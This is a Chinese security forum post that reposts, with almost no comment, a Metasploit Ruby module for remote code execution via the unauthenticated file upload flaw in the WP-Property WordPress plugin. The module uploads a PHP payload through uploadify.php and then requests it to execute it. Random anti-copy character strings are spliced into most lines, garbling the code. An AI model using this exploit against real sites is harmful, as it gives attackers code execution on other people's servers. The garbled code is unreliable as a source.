找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2604|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞; V' L9 D; D: a8 G

5 V7 s) F' v2 t# D ## # This file is part of the Metasploit Framework and may be subject to, w: C7 N# J; J9 P$ a8 e

* u$ P5 J7 c5 l1 E# redistribution and commercial restrictions. Please see the Metasploit5 l( ~7 T8 i- N: z2 u

0 H5 t% o' I0 t; U  O6 b# Framework web site for more information on licensing and terms of use.
! v. K/ u2 |# @  I# A: t3 x( c" x, p, \
#   http://metasploit.com/framework/ ##5 h' a  D- ?( `4 ~% G7 {( Q* Y5 R! B

& P" F. Z) h2 n0 x. {7 V
; f7 \5 O& P6 m2 G$ k& b0 B" l9 p% r( Q  S* I

% u/ B* k5 `, w0 @5 {
" p% K3 U+ }( w0 Prequire 'msf/core'5 C+ ^8 c$ n( d
require 'msf/core/exploit/php_exe'# v# a6 A; X1 }  q7 n' a6 P& r/ J1 @# G

* m3 l9 ]# \9 n& N0 Rclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
9 F' q8 \/ {" i) |7 O# d" S( \'Description'    => %q{
. n0 R, X4 ]% ^( T1 ?! GThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>8 X. ?% k6 G0 E
[
. n' s8 `6 C# V4 f* p'Sammy FORGIT', # initial discovery
7 K, q& |7 M/ q! d0 _+ Z'James Fitts <fitts.james[at]gmail.com>' # metasploit module3 Y0 _+ p/ n$ k4 \% Y) O, b
],
2 l2 i6 p+ e  M8 v'License'        => MSF_LICENSE,3 s& C2 Y* N! j' b5 R
'References'     =>; d  t! }: D3 n
[
4 F. _' l: b  J# `[ 'OSVDB', '82656' ],
6 f$ J8 S* E9 z# f[ 'BID', '53787' ],8 ~& `% v2 d, c
[ 'EDB', '18987'],( u; [  Q. c" g0 f, k, W4 x, F
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]0 n4 Z0 c0 Q; A" D4 ~0 A
],
# e+ ^) L! |& T% [, b" v'Payload'        =>
% F. I8 G7 Z6 q5 \{' J9 B0 H# l% S8 ^3 a$ F
'BadChars' => "\x00",
2 g3 x' o4 t* w, a* R},
  |1 _* m' `; Q8 E'Platform'       => 'php',
3 N; [9 ~$ J- G'Arch'           => ARCH_PHP,
  l8 X* g; K' e6 h8 C'Targets'        =>
5 k; z- K. m: W, a[
& g* Q0 E# a) V0 x9 o2 }[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ]," ^8 L5 n! U  V$ _( i3 ~% }
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
1 N( @4 r+ a% o- Y$ x],
, ~8 p" @2 ]8 S  L+ W( g'DefaultTarget'  => 0,
7 ^, ]8 ?! v" \" V+ D9 x, x. z'DisclosureDate' => 'Mar 26 2012'))0 l$ n/ D& {" X0 }# K' g
5 b: ~0 [, @& @+ V/ k+ e/ e, V
register_options(4 p: X& Y5 c/ m8 ~1 X5 X, K# G1 p
[
8 }9 F, A  _4 D* ~; D; ~0 GOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
' a  |2 \7 ]8 P7 K* Q0 A], self.class)! w8 X. q3 y& H4 O- g
end
7 w/ \0 y: v( V4 U% I, ^! G4 w1 K, e$ O
def check) n( q6 Z' u. P! Y
uri =  target_uri.path
; b& g8 V, o) j6 y* I# B0 F6 {uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',, z2 \% Z2 ]" c4 L$ Y! W, |
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"- s6 Z: Y4 g: r  v, X
})$ ]$ O  e4 w# \2 j  r: I+ Q
1 H" F. [" p/ k! {* M* a
if not res or res.code != 200: n/ Q$ T+ v3 f3 b' g
return Exploit::CheckCode::Unknown5 {3 K7 d# \/ K
end( u6 S4 F: U) E/ j( x( Z5 I
. J# d' [1 }" U4 u. D9 ?( n
return Exploit::CheckCode::Appears+ E& N& _9 q1 j- {
end; Q% J/ [4 w- d% Y$ @

3 t+ K; W7 @" ^! w# ndef exploit; J: E( c* j! x( O/ X5 |
uri =  target_uri.path
& j6 c' X" N2 Duri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true), C; ~/ u- g; F

: U8 T2 w; j4 I" r( L6 t/ h8 n* i. f/ Mdata = Rex::MIME::Message.new4 y4 {. h( Z- S* a+ O) p, g
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
; {  P6 X2 ~1 |5 B9 O8 V% odata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
+ N* {9 q8 T7 n( N! ^. lpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
; h% V: _0 f& X( z/ X7 t
- V5 n/ g  ?8 H" _print_status("#{peer} - Uploading payload #{@payload_name}")
  \. K- I8 L( d' Zres = send_request_cgi({2 U# B) u+ m1 R! Y
'method' => 'POST',$ \8 ?8 \' v/ l0 A! v2 _
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",) W# R1 z+ [% J; p% [/ {6 i
'ctype'  => "multipart/form-data; boundary=#{data.bound}",* x' W- ^) t& e) ~# \* _( `8 n
'data'   => post_data
% N, E- I, C: b6 `: x, g})
* L2 ^4 Q# v4 L; z& U' H3 ^, b: i
& ^1 ]" Y; G! P0 k" ?if not res or res.code != 200 or res.body !~ /#{@payload_name}/
5 l$ o7 j: [5 u$ D8 Y3 U+ w, ?fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
; S2 B: a& W4 `7 v4 ]end- \2 u. L- V+ ~
* d) @  T& M0 @- d8 g3 V5 ?
upload_uri = res.body
. ^. r! x9 ^& P$ x4 K7 ?$ t9 h' K9 l) k1 x8 R! l
print_status("#{peer} - Executing payload #{@payload_name}")7 `& j& h0 s) _: X4 u6 p- x$ j
res = send_request_raw({: z/ d: _" }  C% Q/ Z3 B
'uri'    => upload_uri,3 W7 o) A6 c3 ?' R/ u3 ?
'method' => 'GET'
5 B- w6 k+ z, M+ U, w})- j9 s* j$ H0 L% Q: c
end" w3 |' d( h4 [4 ^* A5 I9 {
end
3 X8 f. D+ Q1 X8 S( N8 M, ?5 n
+ l( \. M3 z- \/ u3 Y不要问我这写的是什么 怎么利用 我是说msf.4 N5 T3 m; z7 ^  N. h" N9 t
1 i' E7 v4 A7 e7 L! \$ S' J/ c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表